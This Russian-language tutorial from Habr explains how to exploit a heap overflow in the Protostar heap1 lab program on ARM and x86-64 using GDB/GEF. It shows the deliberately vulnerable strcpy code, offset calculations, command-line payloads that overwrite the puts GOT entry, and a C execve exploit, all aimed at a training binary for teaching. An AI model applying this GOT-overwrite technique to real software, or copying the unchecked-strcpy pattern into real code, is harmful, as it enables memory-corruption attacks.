Переполнение кучи в Linux для начинающих

Данный туториал для начинающих, но подразумевается, что читатель уже знаком с основами работы функции malloc библиотеки glibc. Подробно рассмотрим как эксплуатировать переполнение кучи в Linux на примере 32-разрядного Raspberry PI/ARM1176.  Так же разберем некоторые нюансы эксплуатации и в x86-x64 системах. Для этого будем использовать инструменты  GDB + GEF.

Переходим сразу к уязвимому коду, который я позаимствовал из лабораторных заданий Protostar, а именно данное задание.

#include 
#include 
#include 
#include 
#include 

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Вкратце о коде. 

  • Создаются структуры i1, i2, i3

  • При запуске программы передаются два аргумента, которые копируются по адресам указателей i1->name и i2->nameсоответственно.  

  • И в конце выводится сообщение «and that’s a wrap folks!».

Задача

Вызвать функцию winner

Решение

Для начала компилируем код:

gcc -o heap1 heap1.c
  • Для вызова функции winner, нужно взять ее адрес и записать в указатель, в котором находится адрес функции printf 

  • Для этого надо переполнить указатель i1->name и перезаписать адрес  i2->nameадресом функции winner

  • Что бы его переполнить, необходимо вычислить длину смещения от i1->name до i2->name.  

Выглядит запутанным, но обо всем по порядку. 

Вычисляем длину.

Способ 1

Эту длину можно подобрать экспериментальным путем. Загружаем нашу программу в GDB 

gdb -q heap1

Смотрим код

disas main
0407b859101c8055aa7531ce92cf5925.png

И ставим брейк поинт в конце кода

b *0x000105сс

И запускаем с параметрами

r AAAA BBBB

Смотрим адрес начала кучи:

info proc map
2cde68ca933541920fdd10f70ebdecda.png

И по этому адресу смотрим содержимое памяти

x/120x 0x22000
203dd325aa8096db87354f16bb7f61c4.png

Желтым выделены адреса чанков (chunk). Зеленым выделено количество байтов от одного чанка до другого.

Способ 2

Давайте взглянем на выделенную память в куче.

heap chunks
5b44e09f46e34e0c1cfe9313279112ca.png

Здесь мы можем наблюдать чанк по адресу 0x22160, рассмотрим его поближе

heap chunk 0x22160
00d3009223803c2c91155fe6453229dd.png
  • 16 байт служебные

  • 12 байт пользовательские данные

  • 4 байта адрес этого чанка

Итого получается 32 байта весь кусок кучи. Из него вычитаем 12 байт данных и получаем 20 байт, это и будет наша длинна до следующего чанка. (Для 64 битной системы эти расчеты следовательно будут с удвоенными слагаемыми 32 + 24 + 8 = 64 байта, длинна будет 40 байт)

Подменяем адреса функций

Теперь запустим с входным параметром 24 байта (20 байт до адреса следующего чанка и 4 байта для замещения этого адреса):

./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
4f72b7954445720f6451f7fd6dde4892.png

Получаем Segmentation fault. Теперь через отладчик посмотрим изнутри, что происходит. 

gdb ./heap1
disas main
596a70776c17704cd5be24a63851b091.png

Поставим точку останова на второй вызов функции strcopy, который находится по адресу 0x000105e8

b *0x105e8

И запустим программу

r $(python3 -c 'print("A"*24+" "+"BBBB")')

Переходим к точке останова и наблюдаем, как перезаписывается адрес указателя нашими символами:

9c9c378f9dd0a0b93f0306d2827a420c.png

Для вызова функции winner, нужно взять ее адрес и записать в указатель, в котором находится адрес функции printf(по факту там находится функция puts). 

x/i 0x103a0
e7c6ea8807cec309229cd1f4f87e33b0.png

Теперь нужно узнать по какому адресу функция puts располагается в GOT. Что бы это узнать воспользуемся GEF командой got. Эта команда выводит текущее состояние таблицы GOT запущенного процесса. 

got
c2175126f89e59cff6271e233338c2fb.png

И так, мы видим, что наш указатель находится по адресу 0x21018. Будем писать в него адрес нашей функции winner.

Теперь посмотрим по какому адресу располагается функция winner.

p winner
99c0fa5f21f988e410cfe9ae51c7353c.png

Функция расположена по адресу 0x10504.

Пришло время составить наш эксплоит и запустить его из под отладчика. Посмотрим изнутри как перезаписывается адрес в указателе i2->name и заносится в него адрес нашей функции:

r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")') 
7ded65c0bc2d1f7063803f2063cfab58.png

Здесь мы видим, что по адресу0x21018 будет записан адрес функции 0x10504 , что и следовало ожидать. Продолжим выполнение командой nexti и проверим, что находится по адресу  0x21018:  

66b26159e2f7e950979def42d33c1119.png

А в нем находится адрес нашей функции 0x10504 . Теперь выходим из отладчика и запускаем программу обычным способом с нашим эксплоитом:

./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
6960ac5600cf0fe7e14402e02d1c22b5.png

Видим, что bash вывел предупреждение, о том, что нуль-байты в наших адресах были проигнорированы (ignored null byte in input), но приложение выдает нам заветное сообщение, тем самым подтверждая, что мы вызвали функцию winner. Эксплуатация произошла и задача решена.

Некоторые нюансы

Теперь перейдем в Linux для архитектуры x86-x64.  В нем установлена последняя версия GDB 10.1.90 на момент написания этого поста и отлична от ARM1176, для Raspberry версия GDB 8.2.1. Например, что бы узнать адрес функции puts, сначала так же смотрим адрес указателя .plt

disas main
05c8a8a429646da2bb759ceef55fbe9a.png

а затем можно сразу увидеть адрес функции указателя в закомментированном виде такой командой:

x/i 0x555555555040
867cd78166b203dee10495995f5ccc52.png

это избавляет от дополнительных телодвижений.  Мелочь, а приятно.

Далее смотрим адрес функции winner

p winner
be8e5518a3529846a44820744e501f2c.png

Смотрим адрес функции puts 0x555555558020 и обнаруживаем, что в нем содержится число x20, которое соответствует  символу пробела,  а это значит, что при передаче этого адреса программе через командную оболочку, например bash воспримет это как разделитель аргументов. Поэтому эксплуатация через шелл не получится. Как вариант, можно заключить аргументы в кавычки "$(...)", например так:

./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"

В общем случае это сработало бы. Но в нашем случае это не помогло, так как оказалось, что наши полученные адреса нужно выравнивать до 8 байт нуль-байтами, т.е. 

\x20\x80\x55\x55\x55\x55\x00\x00

\x75\x51\x55\x55\x55\x55\x00\x00

Но и тут возникает проблема, потому что командная оболочка воспринимает нуль-байты как конец строки и эксплойт не сработает, т.к. адреса получаются неверными.

Для решения этой проблемы, можно воспользоваться функцией execveязыка C. 

Пишем эксплоит:

#include 
#include 
int main(void) 
{
  char* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
  if (execve("./heap1", argv, NULL) == -1)
    perror("Could not execve");
  return 1;
}

В коде думаю все ясно.

Компилируем и запускаем

gcc ./exploit.c -o exploit
gdb -q ./exploit

Теперь эксплоит отрабатывает как следует:

db466bb823b1518c0e8835ec39c27370.png

На этом все. Спасибо за внимание.

© Habrahabr.ru